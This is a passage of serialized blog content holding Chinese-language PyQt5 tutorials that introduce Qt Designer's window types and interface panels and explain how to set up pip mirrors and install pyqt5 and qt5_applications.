e":18,"tag":297,"props":70331,"children":70332},{},[70333],{"type":24,"value":45450},{"type":18,"tag":297,"props":70335,"children":70336},{"class":299,"line":817},[70337],{"type":18,"tag":297,"props":70338,"children":70339},{},[70340],{"type":24,"value":60323},{"type":18,"tag":297,"props":70342,"children":70343},{"class":299,"line":826},[70344],{"type":18,"tag":297,"props":70345,"children":70346},{},[70347],{"type":24,"value":60331},{"type":18,"tag":297,"props":70349,"children":70350},{"class":299,"line":4524},[70351],{"type":18,"tag":297,"props":70352,"children":70353},{},[70354],{"type":24,"value":60339},{"type":18,"tag":297,"props":70356,"children":70357},{"class":299,"line":4533},[70358],{"type":18,"tag":297,"props":70359,"children":70360},{},[70361],{"type":24,"value":60347},{"type":18,"tag":34,"props":70363,"children":70364},{},[70365,70367,70372,70374,70380],{"type":24,"value":70366},"添加完上面代码后，在当前的",{"type":18,"tag":74,"props":70368,"children":70370},{"className":70369},[],[70371],{"type":24,"value":42560},{"type":24,"value":70373},"文件中，单击右键，在弹出的快捷菜单中选择",{"type":18,"tag":74,"props":70375,"children":70377},{"className":70376},[],[70378],{"type":24,"value":70379},"Run'文件名'",{"type":24,"value":70381},"按钮，即可运行。",{"type":18,"tag":34,"props":70383,"children":70384},{},[70385],{"type":18,"tag":54,"props":70386,"children":70389},{"alt":70387,"src":70388},"Pasted image 20250827101401","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827101401.png",[],{"type":18,"tag":651,"props":70391,"children":70392},{},[70393],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":70395},[70396,70397,70398,70399,70400,70401,70403],{"id":69818,"depth":657,"text":69821},{"id":69897,"depth":657,"text":69900},{"id":69939,"depth":657,"text":69942},{"id":69969,"depth":657,"text":69972},{"id":70065,"depth":657,"text":70068},{"id":70122,"depth":657,"text":70402},"6  将.ui文件转换为.py文件",{"id":70253,"depth":657,"text":70256},"content:blog:2025-07-18-pyqt5-使用Qt Designer创建窗口.md","blog\u002F2025-07-18-pyqt5-使用Qt Designer创建窗口.md","blog\u002F2025-07-18-pyqt5-使用Qt Designer创建窗口",{"_path":70408,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":70409,"description":70410,"date":70411,"tags":70412,"body":70413,"_type":672,"_id":70995,"_source":674,"_file":70996,"_stem":70997,"_extension":677},"\u002Fblog\u002F2025-07-17-pyqt5-qt-designer","PyQt5-认识 Qt Designer","认识Qt Designer可视化界面设计工具，了解各区域功能与基本操作。","2025-07-17",[28616,41429,41430],{"type":15,"children":70414,"toc":70981},[70415,70420,70426,70429,70440,70445,70453,70496,70504,70509,70523,70531,70545,70553,70567,70575,70588,70596,70621,70634,70642,70699,70705,70708,70713,70721,70726,70732,70737,70745,70750,70758,70763,70771,70776,70784,70789,70797,70803,70808,70816,70822,70827,70835,70840,70848,70860,70866,70878,70886,70892,70897,70905,70911,70916,70924,70930,70935,70943,70949,70954,70962,70968,70973],{"type":18,"tag":34,"props":70416,"children":70417},{},[70418],{"type":24,"value":70419},"Qt Designer，中文名称为Qt设计师，它是一个强大的可视化GUI设计工具。通过使用Qt Designer设计GUI程序界面，可以大大地提高开发效率，本节先对Qt Designer及其支持的几种窗口类型进行介绍。",{"type":18,"tag":19,"props":70421,"children":70423},{"id":70422},"_1几种常用的窗口类型",[70424],{"type":24,"value":70425},"1  几种常用的窗口类型",{"type":18,"tag":121,"props":70427,"children":70428},{},[],{"type":18,"tag":34,"props":70430,"children":70431},{},[70432,70434,70438],{"type":24,"value":70433},"按照 ",{"type":18,"tag":43,"props":70435,"children":70436},{"href":61281},[70437],{"type":24,"value":69033},{"type":24,"value":70439}," 的步骤在PyCharm开发工具中配置完Qt Designer后，即可通过PyCharm开发工具中的“External Tools”（扩展工具）菜单快速打开Qt Designer，步骤如下：",{"type":18,"tag":34,"props":70441,"children":70442},{},[70443],{"type":24,"value":70444},"1）在PyCharm的菜单栏中依次单击Tools→External Tools→Qt Designer菜单，如图所示。",{"type":18,"tag":34,"props":70446,"children":70447},{},[70448],{"type":18,"tag":54,"props":70449,"children":70452},{"alt":70450,"src":70451},"Pasted image 20250827090902","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827090902.png",[],{"type":18,"tag":96,"props":70454,"children":70455},{},[70456],{"type":18,"tag":34,"props":70457,"children":70458},{},[70459,70463,70465,70471,70473,70479,70481,70487,70488,70494],{"type":18,"tag":105,"props":70460,"children":70461},{},[70462],{"type":24,"value":44648},{"type":24,"value":70464}," 多学两招\n除了在PyCharm中通过扩展工具打开Qt Designer设计器，还可以通过可执行文件打开，Qt Designer的可执行文件安装在当前虚拟环境下的",{"type":18,"tag":74,"props":70466,"children":70468},{"className":70467},[],[70469],{"type":24,"value":70470},"Lib\\site-packages\\QtDesigner",{"type":24,"value":70472},"路径下，名称为designer.exe，通过双击该文件，也可以打开Qt Designer设计器；另外，为了使用方便，可以为其创建一个桌面快捷方式，具体方式为：选中",{"type":18,"tag":74,"props":70474,"children":70476},{"className":70475},[],[70477],{"type":24,"value":70478},"designer.exe",{"type":24,"value":70480},"文件，单击右键，在弹出的快捷菜单中依次选择",{"type":18,"tag":74,"props":70482,"children":70484},{"className":70483},[],[70485],{"type":24,"value":70486},"发送到",{"type":24,"value":60153},{"type":18,"tag":74,"props":70489,"children":70491},{"className":70490},[],[70492],{"type":24,"value":70493},"桌面快捷方式",{"type":24,"value":70495},"，如下图所示，创建designer.exe文件在系统桌面上的快捷方式。这样以后就可以直接在桌面上面通过双击该快捷方式打开Qt Designer设计器了。",{"type":18,"tag":34,"props":70497,"children":70498},{},[70499],{"type":18,"tag":54,"props":70500,"children":70503},{"alt":70501,"src":70502},"Pasted image 20250827091341","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827091341.png",[],{"type":18,"tag":34,"props":70505,"children":70506},{},[70507],{"type":24,"value":70508},"2）即可打开Qt Designer设计器，并显示“新建窗体”窗口，该窗口中以列表形式列出Qt支持的几种窗口类型，分别如下：",{"type":18,"tag":210,"props":70510,"children":70511},{},[70512],{"type":18,"tag":158,"props":70513,"children":70514},{},[70515,70521],{"type":18,"tag":74,"props":70516,"children":70518},{"className":70517},[],[70519],{"type":24,"value":70520},"Dialog with Buttons Bottom",{"type":24,"value":70522},"：按钮在底部的对话框窗口，效果如图所示。",{"type":18,"tag":34,"props":70524,"children":70525},{},[70526],{"type":18,"tag":54,"props":70527,"children":70530},{"alt":70528,"src":70529},"Pasted image 20250827091525","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827091525.png",[],{"type":18,"tag":210,"props":70532,"children":70533},{},[70534],{"type":18,"tag":158,"props":70535,"children":70536},{},[70537,70543],{"type":18,"tag":74,"props":70538,"children":70540},{"className":70539},[],[70541],{"type":24,"value":70542},"Dialog with Buttons Right",{"type":24,"value":70544},"：按钮在右上角的对话框窗口，效果如图所示。",{"type":18,"tag":34,"props":70546,"children":70547},{},[70548],{"type":18,"tag":54,"props":70549,"children":70552},{"alt":70550,"src":70551},"Pasted image 20250827091625","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827091625.png",[],{"type":18,"tag":210,"props":70554,"children":70555},{},[70556],{"type":18,"tag":158,"props":70557,"children":70558},{},[70559,70565],{"type":18,"tag":74,"props":70560,"children":70562},{"className":70561},[],[70563],{"type":24,"value":70564},"Dialog without Buttons",{"type":24,"value":70566},"：没有按钮的对话框窗口，效果如图所示。",{"type":18,"tag":34,"props":70568,"children":70569},{},[70570],{"type":18,"tag":54,"props":70571,"children":70574},{"alt":70572,"src":70573},"Pasted image 20250827091722","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827091722.png",[],{"type":18,"tag":210,"props":70576,"children":70577},{},[70578],{"type":18,"tag":158,"props":70579,"children":70580},{},[70581,70586],{"type":18,"tag":74,"props":70582,"children":70584},{"className":70583},[],[70585],{"type":24,"value":61340},{"type":24,"value":70587},"：一个带菜单、停靠窗口和状态栏的主窗口，效果如图所示。",{"type":18,"tag":34,"props":70589,"children":70590},{},[70591],{"type":18,"tag":54,"props":70592,"children":70595},{"alt":70593,"src":70594},"Pasted image 20250827091820","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827091820.png",[],{"type":18,"tag":96,"props":70597,"children":70598},{},[70599],{"type":18,"tag":34,"props":70600,"children":70601},{},[70602,70606,70607,70612,70614,70619],{"type":18,"tag":105,"props":70603,"children":70604},{},[70605],{"type":24,"value":33435},{"type":24,"value":49525},{"type":18,"tag":74,"props":70608,"children":70610},{"className":70609},[],[70611],{"type":24,"value":61340},{"type":24,"value":70613},"窗口是使用PyQt5设计GUI程序时最常用的窗口，本教程中的所有案例都将以创建",{"type":18,"tag":74,"props":70615,"children":70617},{"className":70616},[],[70618],{"type":24,"value":61340},{"type":24,"value":70620},"窗口为基础进行讲解。",{"type":18,"tag":210,"props":70622,"children":70623},{},[70624],{"type":18,"tag":158,"props":70625,"children":70626},{},[70627,70632],{"type":18,"tag":74,"props":70628,"children":70630},{"className":70629},[],[70631],{"type":24,"value":59418},{"type":24,"value":70633},"：通用窗口，效果如图所示。",{"type":18,"tag":34,"props":70635,"children":70636},{},[70637],{"type":18,"tag":54,"props":70638,"children":70641},{"alt":70639,"src":70640},"Pasted image 20250827092000","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827092000.png",[],{"type":18,"tag":96,"props":70643,"children":70644},{},[70645,70668],{"type":18,"tag":34,"props":70646,"children":70647},{},[70648,70652,70654,70659,70661,70666],{"type":18,"tag":105,"props":70649,"children":70650},{},[70651],{"type":24,"value":33435},{"type":24,"value":70653}," 说明\n从图可以看出，",{"type":18,"tag":74,"props":70655,"children":70657},{"className":70656},[],[70658],{"type":24,"value":59418},{"type":24,"value":70660},"窗口和",{"type":18,"tag":74,"props":70662,"children":70664},{"className":70663},[],[70665],{"type":24,"value":61340},{"type":24,"value":70667},"窗口看起来是一样的，但它们其实是有区别的，区别是：",{"type":18,"tag":210,"props":70669,"children":70670},{},[70671,70687],{"type":18,"tag":158,"props":70672,"children":70673},{},[70674,70679,70681,70686],{"type":18,"tag":74,"props":70675,"children":70677},{"className":70676},[],[70678],{"type":24,"value":61340},{"type":24,"value":70680},"窗口会",{"type":18,"tag":105,"props":70682,"children":70683},{},[70684],{"type":24,"value":70685},"自带一个菜单栏和一个状态栏",{"type":24,"value":8574},{"type":18,"tag":158,"props":70688,"children":70689},{},[70690,70692,70697],{"type":24,"value":70691},"而",{"type":18,"tag":74,"props":70693,"children":70695},{"className":70694},[],[70696],{"type":24,"value":59418},{"type":24,"value":70698},"窗口没有，默认就是一个空窗口。",{"type":18,"tag":19,"props":70700,"children":70702},{"id":70701},"_2熟悉qt-designer窗口区域",[70703],{"type":24,"value":70704},"2  熟悉Qt Designer窗口区域",{"type":18,"tag":121,"props":70706,"children":70707},{},[],{"type":18,"tag":34,"props":70709,"children":70710},{},[70711],{"type":24,"value":70712},"在Qt Designer设计器的“新建窗体”窗口中选择“Main Window”，即可创建一个主窗口，Qt Designer设计器的几个主要组成部分如图所示。",{"type":18,"tag":34,"props":70714,"children":70715},{},[70716],{"type":18,"tag":54,"props":70717,"children":70720},{"alt":70718,"src":70719},"Pasted image 20250827092743","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827092743.png",[],{"type":18,"tag":34,"props":70722,"children":70723},{},[70724],{"type":24,"value":70725},"下面对Qt Designer设计器的主要区域进行介绍。",{"type":18,"tag":27,"props":70727,"children":70729},{"id":70728},"_1菜单栏",[70730],{"type":24,"value":70731},"1）菜单栏",{"type":18,"tag":34,"props":70733,"children":70734},{},[70735],{"type":24,"value":70736},"菜单栏显示了所有可用的Qt命令，Qt Designer的菜单栏如图所示。",{"type":18,"tag":34,"props":70738,"children":70739},{},[70740],{"type":18,"tag":54,"props":70741,"children":70744},{"alt":70742,"src":70743},"Pasted image 20250827092835","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827092835.png",[],{"type":18,"tag":34,"props":70746,"children":70747},{},[70748],{"type":24,"value":70749},"在Qt Designer的菜单栏中，最常用的是前面4个菜单，即文件、Edit（编辑）、窗体和视图。其中，文件菜单主要提供基本的新建、保存、关闭等功能菜单，如图所示；",{"type":18,"tag":34,"props":70751,"children":70752},{},[70753],{"type":18,"tag":54,"props":70754,"children":70757},{"alt":70755,"src":70756},"Pasted image 20250827093013","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827093013.png",[],{"type":18,"tag":34,"props":70759,"children":70760},{},[70761],{"type":24,"value":70762},"Edit（编辑）菜单除了提供常规的复制、粘贴、删除等操作外，还提供了特定于Qt的几个菜单，即编辑窗口部件、编辑信号\u002F槽、编辑伙伴、编辑Tab顺序，这4个菜单主要用来切换Qt窗口的设计状态，Edit（编辑）菜单如图所示。",{"type":18,"tag":34,"props":70764,"children":70765},{},[70766],{"type":18,"tag":54,"props":70767,"children":70770},{"alt":70768,"src":70769},"Pasted image 20250827093115","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827093115.png",[],{"type":18,"tag":34,"props":70772,"children":70773},{},[70774],{"type":24,"value":70775},"窗体菜单提供布局及预览窗体效果、C++代码和Python代码相关的功能，如图所示；",{"type":18,"tag":34,"props":70777,"children":70778},{},[70779],{"type":18,"tag":54,"props":70780,"children":70783},{"alt":70781,"src":70782},"Pasted image 20250827093218","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827093218.png",[],{"type":18,"tag":34,"props":70785,"children":70786},{},[70787],{"type":24,"value":70788},"视图菜单主要用来提供Qt常用窗口的快捷打开方式，如图所示。",{"type":18,"tag":34,"props":70790,"children":70791},{},[70792],{"type":18,"tag":54,"props":70793,"children":70796},{"alt":70794,"src":70795},"Pasted image 20250827093245","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827093245.png",[],{"type":18,"tag":27,"props":70798,"children":70800},{"id":70799},"_2工具栏",[70801],{"type":24,"value":70802},"2）工具栏",{"type":18,"tag":34,"props":70804,"children":70805},{},[70806],{"type":24,"value":70807},"为了操作更加方便、快捷，将菜单项中常用的命令放入了工具栏中。通过工具栏可以快速访问常用的菜单命令。Qt Designer的工具栏如图所示。",{"type":18,"tag":34,"props":70809,"children":70810},{},[70811],{"type":18,"tag":54,"props":70812,"children":70815},{"alt":70813,"src":70814},"Pasted image 20250827093408","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827093408.png",[],{"type":18,"tag":27,"props":70817,"children":70819},{"id":70818},"_3工具箱",[70820],{"type":24,"value":70821},"3）工具箱",{"type":18,"tag":34,"props":70823,"children":70824},{},[70825],{"type":24,"value":70826},"工具箱是Qt Designer最常用、最重要的一个窗口，每一个开发人员都必须对这个窗口非常熟悉。工具箱提供了进行PyQt5 GUI界面开发所必需的控件。通过工具箱，开发人员可以方便地进行可视化的窗体设计，简化程序设计的工作量，提高工作效率等。根据控件功能的不同，工具箱分为8个分类，如图所示。",{"type":18,"tag":34,"props":70828,"children":70829},{},[70830],{"type":18,"tag":54,"props":70831,"children":70834},{"alt":70832,"src":70833},"Pasted image 20250827093625","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827093625.png",[],{"type":18,"tag":34,"props":70836,"children":70837},{},[70838],{"type":24,"value":70839},"而展开每个分类，都可以看到各个分类下包含的控件，如图所示。",{"type":18,"tag":34,"props":70841,"children":70842},{},[70843],{"type":18,"tag":54,"props":70844,"children":70847},{"alt":70845,"src":70846},"Pasted image 20250827093709","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827093709.png",[],{"type":18,"tag":96,"props":70849,"children":70850},{},[70851],{"type":18,"tag":34,"props":70852,"children":70853},{},[70854,70858],{"type":18,"tag":105,"props":70855,"children":70856},{},[70857],{"type":24,"value":33435},{"type":24,"value":70859}," 说明\n在设计GUI界面时，如果需要使用某个控件，可以在工具箱中选中需要的控件，直接将其拖放到设计窗口的指定位置即可。",{"type":18,"tag":27,"props":70861,"children":70863},{"id":70862},"_4窗口设计区域",[70864],{"type":24,"value":70865},"4）窗口设计区域",{"type":18,"tag":34,"props":70867,"children":70868},{},[70869,70871,70876],{"type":24,"value":70870},"窗口设计区域是GUI界面的可视化显示窗口，任何对窗口的改动，都可以在该区域实时显示出来，例如，下图是一个默认的",{"type":18,"tag":74,"props":70872,"children":70874},{"className":70873},[],[70875],{"type":24,"value":61340},{"type":24,"value":70877},"窗口，该窗口中包含一个默认的菜单和状态栏。",{"type":18,"tag":34,"props":70879,"children":70880},{},[70881],{"type":18,"tag":54,"props":70882,"children":70885},{"alt":70883,"src":70884},"Pasted image 20250827094023","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827094023.png",[],{"type":18,"tag":27,"props":70887,"children":70889},{"id":70888},"_5对象查看器",[70890],{"type":24,"value":70891},"5）对象查看器",{"type":18,"tag":34,"props":70893,"children":70894},{},[70895],{"type":24,"value":70896},"对象查看器主要用来查看设计窗口中放置的对象列表，如图所示。",{"type":18,"tag":34,"props":70898,"children":70899},{},[70900],{"type":18,"tag":54,"props":70901,"children":70904},{"alt":70902,"src":70903},"Pasted image 20250827094055","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827094055.png",[],{"type":18,"tag":27,"props":70906,"children":70908},{"id":70907},"_6属性编辑器",[70909],{"type":24,"value":70910},"6）属性编辑器",{"type":18,"tag":34,"props":70912,"children":70913},{},[70914],{"type":24,"value":70915},"属性编辑器是Qt Designer中的另一个常用且关键的窗口，该窗口为PyQt5设计的GUI界面提供了对窗口、控件和布局等相关属性的修改功能。对设计窗口中的各个控件属性都可以在属性编辑器中进行设置完成。属性编辑器窗口如图所示。",{"type":18,"tag":34,"props":70917,"children":70918},{},[70919],{"type":18,"tag":54,"props":70920,"children":70923},{"alt":70921,"src":70922},"Pasted image 20250827094135","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827094135.png",[],{"type":18,"tag":27,"props":70925,"children":70927},{"id":70926},"_7信号槽编辑器",[70928],{"type":24,"value":70929},"7）信号\u002F槽编辑器",{"type":18,"tag":34,"props":70931,"children":70932},{},[70933],{"type":24,"value":70934},"信号\u002F槽编辑器主要用来编辑控件的信号和槽函数，另外也可以为控件添加自定义的信号和槽函数，效果如图所示。",{"type":18,"tag":34,"props":70936,"children":70937},{},[70938],{"type":18,"tag":54,"props":70939,"children":70942},{"alt":70940,"src":70941},"Pasted image 20250827094241","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827094241.png",[],{"type":18,"tag":27,"props":70944,"children":70946},{"id":70945},"_8动作编辑器",[70947],{"type":24,"value":70948},"8）动作编辑器",{"type":18,"tag":34,"props":70950,"children":70951},{},[70952],{"type":24,"value":70953},"动作编辑器主要用来对控件的动作进行编辑，包括提示文字、图标及图标主题、快捷键等，如图所示。",{"type":18,"tag":34,"props":70955,"children":70956},{},[70957],{"type":18,"tag":54,"props":70958,"children":70961},{"alt":70959,"src":70960},"Pasted image 20250827094305","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827094305.png",[],{"type":18,"tag":27,"props":70963,"children":70965},{"id":70964},"_9资源浏览器",[70966],{"type":24,"value":70967},"9）资源浏览器",{"type":18,"tag":34,"props":70969,"children":70970},{},[70971],{"type":24,"value":70972},"在资源浏览器中，开发人员可以为控件添加图片（例如Label、Button等背景图片）、图标等资源，如图所示。",{"type":18,"tag":34,"props":70974,"children":70975},{},[70976],{"type":18,"tag":54,"props":70977,"children":70980},{"alt":70978,"src":70979},"Pasted image 20250827094528","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827094528.png",[],{"title":8,"searchDepth":657,"depth":657,"links":70982},[70983,70984],{"id":70422,"depth":657,"text":70425},{"id":70701,"depth":657,"text":70704,"children":70985},[70986,70987,70988,70989,70990,70991,70992,70993,70994],{"id":70728,"depth":662,"text":70731},{"id":70799,"depth":662,"text":70802},{"id":70818,"depth":662,"text":70821},{"id":70862,"depth":662,"text":70865},{"id":70888,"depth":662,"text":70891},{"id":70907,"depth":662,"text":70910},{"id":70926,"depth":662,"text":70929},{"id":70945,"depth":662,"text":70948},{"id":70964,"depth":662,"text":70967},"content:blog:2025-07-17-pyqt5-认识Qt Designer.md","blog\u002F2025-07-17-pyqt5-认识Qt Designer.md","blog\u002F2025-07-17-pyqt5-认识Qt Designer",{"_path":61281,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":69033,"description":70999,"date":71000,"tags":71001,"body":71002,"_type":672,"_id":71925,"_source":674,"_file":71926,"_stem":71927,"_extension":677},"PyQt5开发环境搭建教程，Python解释器、PyCharm编辑器与Qt模块安装配置。","2025-07-16",[28616,41429,41430],{"type":15,"children":71003,"toc":71915},[71004,71009,71012,71017,71030,71035,71040,71043,71048,71111,71123,71164,71169,71177,71189,71222,71242,71297,71302,71310,71360,71368,71376,71381,71386,71406,71414,71470,71478,71486,71535,71543,71551,71564,71569,71572,71578,71583,71591,71603,71611,71616,71624,71629,71637,71642,71647,71655,71668,71805,71810,71818,71823,71828,71836,71841,71859,71885,71898,71903,71906,71911],{"type":18,"tag":19,"props":71005,"children":71007},{"id":71006},"软件安装",[71008],{"type":24,"value":71006},{"type":18,"tag":121,"props":71010,"children":71011},{},[],{"type":18,"tag":34,"props":71013,"children":71014},{},[71015],{"type":24,"value":71016},"目标软件：",{"type":18,"tag":210,"props":71018,"children":71019},{},[71020,71025],{"type":18,"tag":158,"props":71021,"children":71022},{},[71023],{"type":24,"value":71024},"Python解释器",{"type":18,"tag":158,"props":71026,"children":71027},{},[71028],{"type":24,"value":71029},"Pycharm编辑器",{"type":18,"tag":34,"props":71031,"children":71032},{},[71033],{"type":24,"value":71034},"安装教程前往：Python安装（请参考Python官方文档）",{"type":18,"tag":19,"props":71036,"children":71038},{"id":71037},"环境搭建",[71039],{"type":24,"value":71037},{"type":18,"tag":121,"props":71041,"children":71042},{},[],{"type":18,"tag":34,"props":71044,"children":71045},{},[71046],{"type":24,"value":71047},"搭建完成后最终的环境详情：",{"type":18,"tag":287,"props":71049,"children":71053},{"code":71050,"language":71051,"meta":8,"className":71052,"style":8},"python安装路径：D:\\ProgramEnviron\\Python\\Python311\n\nPython 3.13.2\npip 25.1.1\n\nPyQt5 5.15.11\nqt5_applications 5.15.2.2.3\n","2025-7-21","language-2025-7-21 shiki shiki-themes github-dark",[71054],{"type":18,"tag":74,"props":71055,"children":71056},{"__ignoreMap":8},[71057,71065,71072,71080,71088,71095,71103],{"type":18,"tag":297,"props":71058,"children":71059},{"class":299,"line":300},[71060],{"type":18,"tag":297,"props":71061,"children":71062},{},[71063],{"type":24,"value":71064},"python安装路径：D:\\ProgramEnviron\\Python\\Python311\n",{"type":18,"tag":297,"props":71066,"children":71067},{"class":299,"line":657},[71068],{"type":18,"tag":297,"props":71069,"children":71070},{"emptyLinePlaceholder":793},[71071],{"type":24,"value":796},{"type":18,"tag":297,"props":71073,"children":71074},{"class":299,"line":662},[71075],{"type":18,"tag":297,"props":71076,"children":71077},{},[71078],{"type":24,"value":71079},"Python 3.13.2\n",{"type":18,"tag":297,"props":71081,"children":71082},{"class":299,"line":799},[71083],{"type":18,"tag":297,"props":71084,"children":71085},{},[71086],{"type":24,"value":71087},"pip 25.1.1\n",{"type":18,"tag":297,"props":71089,"children":71090},{"class":299,"line":808},[71091],{"type":18,"tag":297,"props":71092,"children":71093},{"emptyLinePlaceholder":793},[71094],{"type":24,"value":796},{"type":18,"tag":297,"props":71096,"children":71097},{"class":299,"line":817},[71098],{"type":18,"tag":297,"props":71099,"children":71100},{},[71101],{"type":24,"value":71102},"PyQt5 5.15.11\n",{"type":18,"tag":297,"props":71104,"children":71105},{"class":299,"line":826},[71106],{"type":18,"tag":297,"props":71107,"children":71108},{},[71109],{"type":24,"value":71110},"qt5_applications 5.15.2.2.3\n",{"type":18,"tag":34,"props":71112,"children":71113},{},[71114,71116,71121],{"type":24,"value":71115},"1）首先配置一下",{"type":18,"tag":74,"props":71117,"children":71119},{"className":71118},[],[71120],{"type":24,"value":28691},{"type":24,"value":71122},"的默认镜像资源，它可以有效的提高效率，否则下载速度将会很慢。配置语法及配置命令如下：",{"type":18,"tag":287,"props":71124,"children":71126},{"code":71125,"language":33404,"meta":8,"className":33402,"style":8},"# pip config set global.index-url 镜像源地址\npip config set global.index-url https:\u002F\u002Fpypi.tuna.tsinghua.edu.cn\u002Fsimple\n",[71127],{"type":18,"tag":74,"props":71128,"children":71129},{"__ignoreMap":8},[71130,71138],{"type":18,"tag":297,"props":71131,"children":71132},{"class":299,"line":300},[71133],{"type":18,"tag":297,"props":71134,"children":71135},{"style":5380},[71136],{"type":24,"value":71137},"# pip config set global.index-url 镜像源地址\n",{"type":18,"tag":297,"props":71139,"children":71140},{"class":299,"line":657},[71141,71145,71149,71154,71159],{"type":18,"tag":297,"props":71142,"children":71143},{"style":304},[71144],{"type":24,"value":28691},{"type":18,"tag":297,"props":71146,"children":71147},{"style":310},[71148],{"type":24,"value":6562},{"type":18,"tag":297,"props":71150,"children":71151},{"style":310},[71152],{"type":24,"value":71153}," set",{"type":18,"tag":297,"props":71155,"children":71156},{"style":310},[71157],{"type":24,"value":71158}," global.index-url",{"type":18,"tag":297,"props":71160,"children":71161},{"style":310},[71162],{"type":24,"value":71163}," https:\u002F\u002Fpypi.tuna.tsinghua.edu.cn\u002Fsimple\n",{"type":18,"tag":34,"props":71165,"children":71166},{},[71167],{"type":24,"value":71168},"使用国内的各大镜像源进行下载，下载速度快！",{"type":18,"tag":287,"props":71170,"children":71172},{"code":71171},"清华大学镜像：https:\u002F\u002Fpypi.tuna.tsinghua.edu.cn\u002Fsimple\n阿里云镜像：https:\u002F\u002Fmirrors.aliyun.com\u002Fpypi\u002Fsimple\u002F\n中科大镜像：https:\u002F\u002Fpypi.mirrors.ustc.edu.cn\u002Fsimple\u002F\n...\n",[71173],{"type":18,"tag":74,"props":71174,"children":71175},{"__ignoreMap":8},[71176],{"type":24,"value":71171},{"type":18,"tag":34,"props":71178,"children":71179},{},[71180,71182,71187],{"type":24,"value":71181},"2）对",{"type":18,"tag":74,"props":71183,"children":71185},{"className":71184},[],[71186],{"type":24,"value":28691},{"type":24,"value":71188},"进行升级，在终端执行下列命令：",{"type":18,"tag":287,"props":71190,"children":71192},{"code":71191,"language":33404,"meta":8,"className":33402,"style":8},"pip install --upgrade pip #（或者pip install -U pip）\n",[71193],{"type":18,"tag":74,"props":71194,"children":71195},{"__ignoreMap":8},[71196],{"type":18,"tag":297,"props":71197,"children":71198},{"class":299,"line":300},[71199,71203,71207,71212,71217],{"type":18,"tag":297,"props":71200,"children":71201},{"style":304},[71202],{"type":24,"value":28691},{"type":18,"tag":297,"props":71204,"children":71205},{"style":310},[71206],{"type":24,"value":28696},{"type":18,"tag":297,"props":71208,"children":71209},{"style":906},[71210],{"type":24,"value":71211}," --upgrade",{"type":18,"tag":297,"props":71213,"children":71214},{"style":310},[71215],{"type":24,"value":71216}," pip",{"type":18,"tag":297,"props":71218,"children":71219},{"style":5380},[71220],{"type":24,"value":71221}," #（或者pip install -U pip）\n",{"type":18,"tag":34,"props":71223,"children":71224},{},[71225,71227,71233,71234,71240],{"type":24,"value":71226},"3）接下来安装PyQt5的环境，一共需要安装两个包，分别是",{"type":18,"tag":74,"props":71228,"children":71230},{"className":71229},[],[71231],{"type":24,"value":71232},"pyqt5",{"type":24,"value":10315},{"type":18,"tag":74,"props":71235,"children":71237},{"className":71236},[],[71238],{"type":24,"value":71239},"qt5_applications",{"type":24,"value":71241},"，具体命令如下：",{"type":18,"tag":287,"props":71243,"children":71245},{"code":71244,"language":33404,"meta":8,"className":33402,"style":8},"# 安装qt环境\npip install pyqt5\n# 安装qt相关环境，如designer、pyuic、pyrcc...都包含在qt5_applications内\npip install qt5_applications\n",[71246],{"type":18,"tag":74,"props":71247,"children":71248},{"__ignoreMap":8},[71249,71257,71273,71281],{"type":18,"tag":297,"props":71250,"children":71251},{"class":299,"line":300},[71252],{"type":18,"tag":297,"props":71253,"children":71254},{"style":5380},[71255],{"type":24,"value":71256},"# 安装qt环境\n",{"type":18,"tag":297,"props":71258,"children":71259},{"class":299,"line":657},[71260,71264,71268],{"type":18,"tag":297,"props":71261,"children":71262},{"style":304},[71263],{"type":24,"value":28691},{"type":18,"tag":297,"props":71265,"children":71266},{"style":310},[71267],{"type":24,"value":28696},{"type":18,"tag":297,"props":71269,"children":71270},{"style":310},[71271],{"type":24,"value":71272}," pyqt5\n",{"type":18,"tag":297,"props":71274,"children":71275},{"class":299,"line":662},[71276],{"type":18,"tag":297,"props":71277,"children":71278},{"style":5380},[71279],{"type":24,"value":71280},"# 安装qt相关环境，如designer、pyuic、pyrcc...都包含在qt5_applications内\n",{"type":18,"tag":297,"props":71282,"children":71283},{"class":299,"line":799},[71284,71288,71292],{"type":18,"tag":297,"props":71285,"children":71286},{"style":304},[71287],{"type":24,"value":28691},{"type":18,"tag":297,"props":71289,"children":71290},{"style":310},[71291],{"type":24,"value":28696},{"type":18,"tag":297,"props":71293,"children":71294},{"style":310},[71295],{"type":24,"value":71296}," qt5_applications\n",{"type":18,"tag":34,"props":71298,"children":71299},{},[71300],{"type":24,"value":71301},"4）通过安装的qt5_application添加外部工具，下图是打开添加外部工具步骤：",{"type":18,"tag":34,"props":71303,"children":71304},{},[71305],{"type":18,"tag":54,"props":71306,"children":71309},{"alt":71307,"src":71308},"Pasted image 